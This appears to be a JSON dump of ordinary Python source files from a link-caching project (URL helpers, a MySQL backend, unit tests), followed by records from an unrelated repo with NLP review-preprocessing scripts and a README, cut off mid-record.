self.find_helper(url)\n\n if helper:\n info = helper.fetch(self.browser, url)\n if info:\n return { 'helper' : helper,\n 'data' : info }\n return None\n\n @staticmethod\n def get_html_description(html):\n s = BeautifulSoup(html)\n for tag in s.findAll('meta'):\n found = False\n for attr in tag.attrs:\n if len(attr) < 2:\n continue\n key = attr[0].lower\n value = attr[1].lower\n\n if (key == 'property' and value == 'og:description') or \\\n (key == 'name' and value == 'description'):\n found = True\n\n if key == 'content' and found:\n return value\n return None\n\n def get_description(self, url, response):\n helper = self.find_helper(url)\n\n if helper:\n if 'description' in helper.provides:\n result = helper.fetch(self.browser, url)\n if result:\n return result['description']\n return None\n\n try:\n if 'html' not in response.info()['Content-type']:\n return None\n except KeyError, e:\n return None\n\n try:\n description = get_html_description(response.read())\n except Exception, e:\n print >>sys.stderr, \"General exception %s while getting HTML \" \\\n \"description\" % str(e)\n description = None\n\n return description\n\n def get_url(self, url, response):\n helper = self.find_helper(url)\n\n if helper:\n if 'url' in helper.provides:\n result = helper.fetch(self.browser, url)\n if result:\n return result['url']\n return url\n\n return url\n\n def get_title(self, url, response):\n helper = self.find_helper(url)\n\n if helper:\n if 'title' in helper.provides:\n result = helper.fetch(self.browser, url)\n if result:\n return result['title']\n return None\n\n return None\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6558485627174377, "alphanum_fraction": 0.686274528503418, "avg_line_length": 34.21428680419922, "blob_id": "b56d2a82459578b64bbdccf6ba5dda6299783fa7", "content_id": "760e0dcbcc95e060ffc7462d1eccf6706dbb1f17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1479, "license_type": "no_license", "max_line_length": 178, "num_lines": 42, "path": "/linkcache/tests/test_twitter.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport setup\nimport unittest\n\nimport linkcache\nfrom linkcache.helpers import twitterhelper\nfrom linkcache import browser\nimport urllib2\nimport ConfigParser\n\nclass TwitterTestCase(unittest.TestCase):\n def setUp(self):\n config = ConfigParser.ConfigParser()\n config.read('../../config.ini')\n conf = dict(config.items(twitterhelper.instantiate.config_section))\n self.helper = twitterhelper.instantiate(conf)\n self.browser = browser.SingletonBrowser()\n\n def test_nonstatus_match(self):\n link = \"http://twitter.com/askldjaklsdx\"\n ret = self.helper.match(link)\n self.assertFalse(ret)\n\n def test_invalid_link(self):\n link = \"https://twitter.com/nanglish/status/213971298371289371289\"\n ret = self.helper.fetch(self.browser, link)\n self.assertTrue(ret == None)\n\n def test_valid_link(self):\n link = \"https://twitter.com/nanglish/status/483763105927659521\"\n expected_title = \"@nanglish: Ask your doctor if birth control is right for you. Then ask your boss. Then ask some judges. Then ask a guy pooping his pants outside Arby's\"\n\n ret = self.helper.fetch(self.browser, link)\n self.assertIsInstance(ret, dict)\n self.assertTrue('description' in ret)\n self.assertTrue(ret['description'] == expected_title)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5632688999176025, "alphanum_fraction": 0.5694200396537781, "avg_line_length": 28.947368621826172, "blob_id": "83ebe0528144032befa59c66f89249de00ec93df", "content_id": "97d891ba7a1019a0f075a5c4a93814a3434ff652", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1138, "license_type": "no_license", "max_line_length": 66, "num_lines": 38, "path": "/linkcache/helpers/burrowiki.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport re\nimport mechanize\n\nclass BurrowikiHelper(UrlHelper):\n config_section = \"burrowiki\"\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = True\n self.url_regex = re.compile(\"wiki.dosburros.com/.*\")\n self.provides = [ 'description', 'url' ]\n self.config = config\n\n def fetch(self, browser, url):\n br = browser\n r = browser.open(url)\n\n if br.title().find(\"ogin required\") != -1:\n print \"Logging into Burrowiki\"\n br.open(self.config['loginpage'])\n br.select_form(name=\"userlogin\")\n br.select_form(name=\"userlogin\")\n br['wpName'] = self.config['user']\n br['wpPassword'] = self.config['password']\n br.find_control('wpRemember').items[0].selected = True\n br.submit()\n br.open(url)\n\n return {\n 'description' : br.title(),\n 'url' : url\n }\n\ninstantiate = BurrowikiHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.7233009934425354, "alphanum_fraction": 0.7475728392601013, "avg_line_length": 17.727272033691406, "blob_id": "f2a8ea097c4f3b3c940d5fe0acd2636c77ce416f", "content_id": "e755e8ff03361719b043c381ef94b93d7fe3752b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 206, "license_type": "no_license", "max_line_length": 60, "num_lines": 11, "path": "/linkcache/shorteners/none.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport common\n\nclass NullShortener(common.GenericShortener):\n\tpass\n\ninstantiate = NullShortener\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.5117844939231873, "alphanum_fraction": 0.5189393758773804, "avg_line_length": 28.33333396911621, "blob_id": "e73fcdc5e588167dfcc13da193db201b99b091cc", "content_id": "354aa30b65deec13829c87f8aa0ea5b218d9855b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2376, "license_type": "no_license", "max_line_length": 94, "num_lines": 81, "path": "/linkcache/database/mysql.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport sql\nimport MySQLdb\n\nclass LinkMySql(sql.LinkSql):\n auto_increment = \"AUTO_INCREMENT\"\n field_placeholder = \"%s\"\n def __init__(self, config):\n sql.LinkSql.__init__(self, config)\n\n self.host = config['host']\n self.db = config['name']\n self.user = config['user']\n self.passwd = config['password']\n self.retries = 1\n\n try:\n self.connect()\n except ImportError, e:\n raise UserWarning(\"you need python-mysql installed\")\n\n self.confirm_table()\n\n def connect(self):\n self.connection = MySQLdb.connect(db=self.db, user=self.user,\n passwd=self.passwd, host=self.host,\n charset='utf8', use_unicode=True)\n\n def execute(self, command, args):\n for i in range(0, self.retries + 1):\n try:\n cursor = self.connection.cursor()\n cursor.execute(command, args)\n self.connection.commit()\n except MySQLdb.OperationalError, e:\n if i < self.retries:\n self.connect()\n else:\n raise\n else:\n break\n\n def query(self, command, args):\n for i in range(0, self.retries + 1):\n try:\n cursor = self.connection.cursor()\n cursor.execute(command, args)\n except MySQLdb.OperationalError, e:\n if i < self.retries:\n self.connect()\n else:\n raise\n else:\n break\n return cursor\n\n def query_all(self, query, args):\n cursor = self.query(query, args)\n return cursor.fetchall()\n\n def query_one(self, query, args):\n cursor = self.query(query, args)\n if cursor.rowcount == 1:\n return cursor.fetchone()\n elif cursor.rowcount == 0:\n return None\n\n raise IndexError(\"Invalid SQL results: %d results, expected 0 or 1\" % cursor.rowcount)\n\n def describe(self, table):\n res = self.query_all(\"DESCRIBE %s\" % table, ())\n table = {}\n for row in res:\n table[row[0]] = row[1]\n\n return table\n\ninstantiate = LinkMySql\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6332002878189087, "alphanum_fraction": 0.6344475150108337, "avg_line_length": 39.908164978027344, "blob_id": "19cf90dc251c4db137de5f14df583bdad420ee24", "content_id": "f9a382166139035daf42936e61d38de753479ad1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8020, "license_type": "no_license", "max_line_length": 77, "num_lines": 196, "path": "/linkcache/tests/test_result.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport setup\nimport unittest\n\nimport datetime\nimport linkcache.result\n\nurl = u\"https://github.com/jeffmahoney/linkcache\"\nflags = 0\ncontent_type = \"text/html; charset=utf-8\"\nchannel = \"\"\nprivate = False\n\n# These should contain non-ascii characters\nunicode_title = u\"jeffmahoney/linkcache · GitHub\"\nunicode_user = u\"Malmö\"\nunicode_description = unicode_title\n\nclass ResultTestCase(unittest.TestCase):\n def setUp(self):\n self.rdict = {\n 'url' : url,\n 'user' : 'user',\n 'count' : 1,\n 'first_seen' : datetime.datetime.now(),\n 'title' : 'title',\n 'request_timestamp' : datetime.datetime.now(),\n 'alive' : True,\n 'flags' : flags,\n 'private' : False,\n 'type' : content_type,\n 'description' : 'description',\n 'shorturl' : 'http://ice-nine.org/l/xxxx',\n 'id' : 10,\n }\n\n # Ensure that the strings we define above will actually test what we want\n def test_sanity_test(self):\n self.assertIsInstance(unicode_title, unicode)\n self.assertRaises(UnicodeEncodeError, str, unicode_title)\n self.assertIsInstance(unicode_description, unicode)\n self.assertRaises(UnicodeEncodeError, str, unicode_description)\n self.assertIsInstance(unicode_user, unicode)\n self.assertRaises(UnicodeEncodeError, str, unicode_user)\n\n def test_unicode_title(self):\n self.rdict['title'] = unicode_title\n result = linkcache.result.LinkCacheResult(self.rdict)\n x = str(result)\n\n def test_unicode_description(self):\n self.rdict['description'] = unicode_description\n result = linkcache.result.LinkCacheResult(self.rdict)\n x = str(result)\n\n def test_unicode_user(self):\n self.rdict['user'] = unicode_user\n result = linkcache.result.LinkCacheResult(self.rdict)\n x = str(result)\n\n def test_first_seen_type_check(self):\n self.rdict['first_seen'] = None\n with self.assertRaises(AssertionError):\n result = linkcache.result.LinkCacheResult(self.rdict)\n\n def test_request_timestamp_type_check(self):\n self.rdict['request_timestamp'] = None\n with self.assertRaises(AssertionError):\n result = linkcache.result.LinkCacheResult(self.rdict)\n\n def test_maybe_nsfw_flag_reporting(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('~NSFW' in flags.split(','))\n\n def test_nsfw_flag_reporting(self):\n self.rdict['flags'] = linkcache.result.F_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('NSFW' in flags.split(','))\n\n def test_spoilers_flag_reporting(self):\n self.rdict['flags'] = linkcache.result.F_SPOILERS\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('SPOILERS' in flags.split(','))\n\n def test_private_flag_reporting(self):\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('P' in flags.split())\n\n def test_maybe_nsfw_spoilers_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW | \\\n linkcache.result.F_SPOILERS\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('SPOILERS' in flags.split(','))\n self.assertTrue('~NSFW' in flags.split(','))\n\n def test_nsfw_spoilers_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_NSFW | \\\n linkcache.result.F_SPOILERS\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('SPOILERS' in flags.split(','))\n self.assertTrue('NSFW' in flags.split(','))\n\n def test_private_spoilers_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_SPOILERS\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('SPOILERS' in flags.split(','))\n self.assertTrue('P' in flags.split(','))\n\n def test_private_maybe_nsfw_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('P' in flags.split(','))\n self.assertTrue('~NSFW' in flags.split(','))\n\n def test_private_nsfw_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_NSFW\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('P' in flags.split(','))\n self.assertTrue('NSFW' in flags.split(','))\n\n def test_private_maybe_nsfw_spoilers_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW | \\\n linkcache.result.F_SPOILERS\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('P' in flags.split(','))\n self.assertTrue('~NSFW' in flags.split(','))\n self.assertTrue('SPOILERS' in flags.split(','))\n\n def test_private_nsfw_spoilers_flags_reporting(self):\n self.rdict['flags'] = linkcache.result.F_NSFW | \\\n linkcache.result.F_SPOILERS\n self.rdict['private'] = True\n result = linkcache.result.LinkCacheResult(self.rdict)\n flags = result.pretty_flags()\n self.assertIsInstance(flags, str)\n self.assertTrue('P' in flags.split(','))\n self.assertTrue('NSFW' in flags.split(','))\n self.assertTrue('SPOILERS' in flags.split(','))\n\n def test_maybe_nsfw_to_nsfw_merging(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n new_flags = result.merge_flags(linkcache.result.F_NSFW)\n self.assertTrue(new_flags == linkcache.result.F_NSFW)\n\n def test_nsfw_to_maybe_nsfw_merging(self):\n self.rdict['flags'] = linkcache.result.F_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n new_flags = result.merge_flags(linkcache.result.F_MAYBE_NSFW)\n self.assertTrue(new_flags == linkcache.result.F_NSFW)\n\n def test_spoiler_maybe_nsfw_merging(self):\n self.rdict['flags'] = linkcache.result.F_MAYBE_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n new_flags = result.merge_flags(linkcache.result.F_SPOILERS)\n self.assertTrue(new_flags == linkcache.result.F_MAYBE_NSFW | \\\n linkcache.result.F_SPOILERS)\n\n def test_spoiler_nsfw_merging(self):\n self.rdict['flags'] = linkcache.result.F_NSFW\n result = linkcache.result.LinkCacheResult(self.rdict)\n new_flags = result.merge_flags(linkcache.result.F_SPOILERS)\n self.assertTrue(new_flags == linkcache.result.F_NSFW | \\\n linkcache.result.F_SPOILERS)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6197916865348816, "alphanum_fraction": 0.6241319179534912, "avg_line_length": 31.91428565979004, "blob_id": "fc4db9a685fdf1f0435f50209af3b88e4681a09f", "content_id": "1e2b5d863a43209f0078a681b218aac3baac8567", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1154, "license_type": "no_license", "max_line_length": 133, "num_lines": 35, "path": "/linkcache/helpers/soundcloudhelper.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nimport soundcloud\nimport requests\nimport re\n\nclass SoundCloudHelper(UrlHelper):\n config_section = 'soundcloud'\n\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n\n self.provides = [ 'title', 'description' ]\n self.clear_title = True\n self.url_regex = re.compile(\"soundcloud.com.*\")\n\n self.client = soundcloud.Client(client_id=config['client_id'])\n\n def fetch(self, browser, url):\n try:\n track = self.client.get('/resolve', url=url)\n\n trackString = track.title + \" by \" + track.user['username'] + \" on Soundcloud\"\n trackDesc = track.description\n\n return { 'title': trackString,\n 'description': trackDesc }\n except requests.exceptions.HTTPError:\n return { 'title': \"SoundCloud - Hear the world’s sounds\",\n 'description': \"SoundCloud requires JS for all pages, so you don't get any useful data for this non-track link\"}\n\ninstantiate = SoundCloudHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6209876537322998, "alphanum_fraction": 0.625308632850647, "avg_line_length": 28.454545974731445, "blob_id": "ee708ac633696ef54000be83097c9ca4592ba4e6", "content_id": "37f8fbdbc57a62cd4a3699ff73d73a7e47d23620", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1622, "license_type": "no_license", "max_line_length": 78, "num_lines": 55, "path": "/linkcache/tests/test_mysql.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nimport setup\nimport unittest\n\nimport tempfile\nimport shutil\n\nimport linkcache.database.mysql\n\nurl = u\"https://github.com/jeffmahoney/linkcache\"\nflags = 0\ncontent_type = \"text/html; charset=utf-8\"\nchannel = \"\"\nprivate = False\n\n# These should contain non-ascii characters\nunicode_title = u\"jeffmahoney/linkcache · GitHub\"\nunicode_user = u\"Malmö\"\nunicode_description = unicode_title\n\nclass MySQLTestcase(unittest.TestCase):\n def setUp(self):\n config = { 'host' : '',\n 'name' : '',\n 'user' : '',\n 'password' : '' }\n self.db = linkcache.database.mysql.instantiate(config)\n\n def tearDown(self):\n self.db.close()\n\n def test_table_creation(self):\n self.db.confirm_table()\n\n def test_non_ascii_unicode_user(self):\n self.assertIsInstance(unicode_user, unicode)\n self.db.new_entry(url, None, unicode_user, \"title\", flags,\n content_type, \"description\", channel, private)\n\n def test_unicode_title(self):\n self.assertIsInstance(unicode_title, unicode)\n self.db.new_entry(url, None, \"user\", unicode_title, flags,\n content_type, \"description\", channel, private)\n\n def test_unicode_description(self):\n self.assertIsInstance(unicode_description, unicode)\n self.db.new_entry(url, None, \"user\", \"title\", flags,\n content_type, unicode_description, channel, private)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6065789461135864, "alphanum_fraction": 0.6157894730567932, "avg_line_length": 28.230770111083984, "blob_id": "d8181c7f138b16f9bc6b6344bbd56e76d7f88e96", "content_id": "8442a16e91471a1d71eb6888cb4aaa04ea579cb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 760, "license_type": "no_license", "max_line_length": 71, "num_lines": 26, "path": "/linkcache/helpers/readability.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\n\nfrom common import UrlHelper\nfrom bs4 import BeautifulSoup\nimport re\nimport urllib2\n\nclass ReadabilityHelper(UrlHelper):\n def __init__(self, config):\n UrlHelper.__init__(self, config)\n self.clear_title = True\n self.url_regex = re.compile(\"readability.com/articles/.*\")\n self.provides = [ 'title', 'url' ]\n\n def fetch(self, browser, url):\n url = re.sub(\"/#!\", \"\", url)\n url = re.sub(\"^https\", \"http\", url)\n resp = browser.open(url)\n html = resp.read()\n s = BeautifulSoup(html)\n\n return {'title': s.title.string.strip(), 'url': resp.geturl() }\n\ninstantiate = ReadabilityHelper\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.6584800481796265, "alphanum_fraction": 0.6696015000343323, "avg_line_length": 33.80644989013672, "blob_id": "9348c6ac4ed47c795e6800ab49c1dd2eaeb4d2bc", "content_id": "2b652c759fe944627c05582310d796bf5e9c2d72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2158, "license_type": "no_license", "max_line_length": 80, "num_lines": 62, "path": "/linkcache/tests/test_wolframalpha.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport unittest\nimport ConfigParser\nimport json\nfrom urllib import quote_plus\n\nimport sys\nsys.path.insert(0, \"../..\")\n\nfrom linkcache import browser\nfrom linkcache.helpers import wolframalphahelper\n\nclass WolframAlphaTests(unittest.TestCase):\n\n def setUp(self):\n config = ConfigParser.ConfigParser()\n config.read('../../config.ini')\n conf = dict(config.items(wolframalphahelper.instantiate.config_section))\n self.browser = browser.SingletonBrowser()\n self.helper = wolframalphahelper.instantiate(conf)\n\n @staticmethod\n def url(expression):\n return \"http://www.wolframalpha.com/input/?i=%s\" % \\\n quote_plus(expression)\n\n def test_did_you_mean(self):\n expression = \"googol plex\"\n with self.assertRaises(wolframalphahelper.AmbiguousResultError):\n ret = self.helper.fetch(self.browser, self.url(expression))\n\n# def test_hits(self):\n# expression = \"total hits in MLB in 2011\"\n# ret = self.helper.fetch(self.browser, self.url(expression))\n# print ret\n\n def test_wolframalpha_simple_expression(self):\n expression = \"5 + 5\"\n ret = self.helper.fetch(self.browser, self.url(expression))\n self.assertTrue(ret['description'] == \"5+5: 10\")\n\n# Returns data not available\n# def test_batting_average(self):\n# expression = \"batting average of david ortiz in 2013\"\n# ret = self.helper.fetch(self.browser, self.url(expression))\n\n def test_interpreted_expression(self):\n expression = \"distance to the sun\"\n ret = self.helper.fetch(self.browser, self.url(expression))\n expected = \"Earth | distance from Sun: 1.016 au (astronomical units)\"\n self.assertTrue(ret['description'] == expected)\n\n def test_wolframalpha_junk(self):\n expression = \"slksjdflasknenwnqwn;qlkne;qlkjeocina;sdnfasdf\"\n with self.assertRaises(wolframalphahelper.NoResultError):\n ret = self.helper.fetch(self.browser, self.url(expression))\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" }, { "alpha_fraction": 0.682944118976593, "alphanum_fraction": 0.6864826679229736, "avg_line_length": 31.86046600341797, "blob_id": "b9507fce08005daf2bd29f9dddcc1dda4aa87d0d", "content_id": "586f0877debf888da19197c54e296c03c2ed855e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1413, "license_type": "no_license", "max_line_length": 165, "num_lines": 43, "path": "/linkcache/tests/test_urbandictionary.py", "repo_name": "jeffmahoney/linkcache", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-,\nimport setup\n\nimport unittest\n\nimport linkcache\nimport linkcache.browser\nimport linkcache.helpers.urbandictionary\n\nclass UrbanDictionaryTests(unittest.TestCase):\n def setUp(self):\n self.helper = linkcache.helpers.urbandictionary.instantiate(None)\n self.browser = linkcache.browser.SingletonBrowser()\n\n def test_bad_match(self):\n link = \"http://www.urbandictionary.com/defien.php?term=Jack+Move\"\n ret = self.helper.match(link)\n self.assertFalse(ret)\n\n def test_good_match(self):\n link = \"http://www.urbandictionary.com/define.php?term=Jack+Move\"\n ret = self.helper.match(link)\n self.assertTrue(ret)\n\n def test_good_fetch(self):\n link = \"http://www.urbandictionary.com/define.php?term=Jack+Move\"\n\n expected_title = \"Urban Dictionary: Jack Move\"\n expected_description = \"To steal something from someone without their consent. An action which someone does to another person for their personal belongings.\"\n\n ret = self.helper.fetch(self.browser, link)\n\n self.assertTrue('title' in ret)\n self.assertTrue(ret['title'] == expected_title)\n\n self.assertTrue('description' in ret)\n self.assertTrue(ret['description'] == expected_description)\n\nif __name__ == '__main__':\n unittest.main()\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n" } ]
41
hedygithub/1011_Peoject
https://github.com/hedygithub/1011_Peoject
2d10d1363b087a157602e22161c2d6739f671775
e88efbf89a27a38fe478d9f7206d8240ac7315e8
e7bd5c8954eb1a411445e25977cd519757277d2f
refs/heads/main
2023-07-23T16:41:19.191232
2021-08-30T20:39:32
2021-08-30T20:39:32
401,478,183
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5327826738357544, "alphanum_fraction": 0.541559100151062, "avg_line_length": 35.25, "blob_id": "8dd5aa6460e3ebf221eea3af6f66efcc8e5d7950", "content_id": "265fddb0f16f0c1a9d6d2cae937c0f42f4d8886e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1937, "license_type": "permissive", "max_line_length": 122, "num_lines": 52, "path": "/domain-adapted-atsc/utils.py", "repo_name": "hedygithub/1011_Peoject", "src_encoding": "UTF-8", "text": "import xml.etree.ElementTree as ET\r\n\r\n\r\ndef semeval2014term_to_aspectsentiment_hr(filename, remove_conflicting=True):\r\n sentimap = {\r\n 'positive': 'POS',\r\n 'negative': 'NEG',\r\n 'neutral': 'NEU',\r\n 'conflict': 'CONF',\r\n }\r\n\r\n def transform_aspect_term_name(se):\r\n return se\r\n\r\n with open(filename, 'rb') as file: #Hedy add 'rb' to resolve: 'UnicodeDecodeError: 'gbk' codec can't decode byte 0xa6'\r\n\r\n sentence_elements = ET.parse(file).getroot().iter('sentence')\r\n\r\n sentences = []\r\n aspect_term_sentiments = []\r\n classes = set([])\r\n\r\n for j, s in enumerate(sentence_elements):\r\n # review_text = ' '.join([el.text for el in review_element.iter('text')])\r\n\r\n sentence_text = s.find('text').text\r\n aspect_term_sentiment = []\r\n for o in s.iter('aspectTerm'):\r\n aspect_term = transform_aspect_term_name(o.get('term'))\r\n classes.add(aspect_term)\r\n sentiment = sentimap[o.get('polarity')]\r\n if sentiment != 'CONF':\r\n aspect_term_sentiment.append((aspect_term, sentiment))\r\n else:\r\n if remove_conflicting:\r\n pass\r\n # print('Conflicting Term found! Removed!')\r\n else:\r\n aspect_term_sentiment.append((aspect_term, sentiment))\r\n\r\n if len(aspect_term_sentiment) > 0:\r\n aspect_term_sentiments.append(aspect_term_sentiment)\r\n sentences.append(sentence_text)\r\n\r\n cats = list(classes)\r\n cats.sort()\r\n\r\n idx2aspectlabel = {k: v for k, v in enumerate(cats)}\r\n sentilabel2idx = {\"NEG\": 1, \"NEU\": 2, \"POS\": 3, \"CONF\": 4}\r\n idx2sentilabel = {k: v for v, k in sentilabel2idx.items()}\r\n\r\n return sentences, aspect_term_sentiments, (idx2aspectlabel, idx2sentilabel)\r\n" }, { "alpha_fraction": 0.5707175731658936, "alphanum_fraction": 0.5927001237869263, "avg_line_length": 31.48611068725586, "blob_id": "21999db210ae1deffde2ea72530c828d234a825c", "content_id": "e56b8b8eda0dd990ab3cf204498ddeeb772d2d6c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2411, "license_type": "permissive", "max_line_length": 102, "num_lines": 72, "path": "/domain-adapted-atsc/prepare_restaurant_reviews.py", "repo_name": "hedygithub/1011_Peoject", "src_encoding": "UTF-8", "text": "import json\r\nfrom tqdm import tqdm\r\nimport spacy\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description='Generate finetuning corpus for restaurants.')\r\n\r\nparser.add_argument('--large',\r\n action='store_true',\r\n help='export large corpus (10 mio), default is 1 mio')\r\nargs = parser.parse_args()\r\n\r\nmax_sentences = int(10e5)\r\nreview_limit = int(150000)\r\nif args.large:\r\n review_limit = int(1500000) # for 10 Mio Corpus\r\n max_sentences = int(10e6) # for 10 Mio corpus\r\n\r\nnlp = spacy.load('en_core_web_sm')\r\nnlp.add_pipe(nlp.create_pipe('sentencizer'))\r\nfn = 'data/raw/review.json'\r\nreviews = []\r\n\r\n# 4 million reviews to generate about minimum 10 mio sentences\r\nwith open(fn, 'rb') as data_file: #Hedy add 'rb'\r\n counter = 0\r\n for line in data_file:\r\n counter += 1\r\n reviews.append(json.loads(line)['text'])\r\n if counter == review_limit:\r\n break\r\n\r\n\r\n# get sentence segemented review with #sentences > 2\r\ndef sentence_segment_filter_docs(doc_array):\r\n sentences = []\r\n\r\n for doc in nlp.pipe(doc_array, disable=['parser', 'tagger', 'ner'], batch_size=1000, n_threads=8):\r\n sentences.append([sent.text.strip() for sent in doc.sents])\r\n\r\n return sentences\r\n\r\n\r\nprint(f'Found {len(reviews)} restaurant reviews')\r\nprint(f'Tokenizing Restaurant Reviews...')\r\n\r\nsentences = sentence_segment_filter_docs(reviews)\r\nnr_sents = sum([len(s) for s in sentences])\r\nprint(f'Segmented {nr_sents} restaurant sentences')\r\n\r\n# Save to file\r\nfn_out = f'data/transformed/restaurant_corpus_{max_sentences}.txt'\r\nwith open(fn_out, \"w\", encoding ='utf-8') as f: #Hedy add 'encoding='utf-8''\r\n sent_count = 0\r\n for sents in tqdm(sentences):\r\n real_sents = []\r\n for s in sents:\r\n x = s.replace(' ', '').replace('\\n', '').replace('\\u200d', '').replace('\\u200b', '')\r\n if x != '':\r\n if s==\"By far the best Avacado bread I have ever had.\":\r\n print(sents)\r\n pass\r\n real_sents.append(s.replace('\\n', '').replace('\\u200d', '').replace('\\u200b', ''))\r\n if len(real_sents) >= 2:\r\n sent_count += len(real_sents)\r\n str_to_write = \"\\n\" + \"\\n\".join(real_sents) + \"\\n\"\r\n f.write(str_to_write)\r\n\r\n if sent_count >= max_sentences:\r\n break\r\n\r\nprint(f'Done writing to {fn_out}')\r\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.7878788113594055, "avg_line_length": 15.5, "blob_id": "bae100bb30f9b6f4ac6690a3f07ab586a209e875", "content_id": "932decb0b5370a7cf2b15ed950fb8c0f2962611e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 33, "license_type": "no_license", "max_line_length": 17, "num_lines": 2, "path": "/README.md", "repo_name": "hedygithub/1011_Peoject", "src_encoding": "UTF-8", "text": "# 1011_Peoject\nNLP final project\n" }, { "alpha_fraction": 0.5710487961769104, "alphanum_fraction": 0.5889318585395813, "avg_line_length": 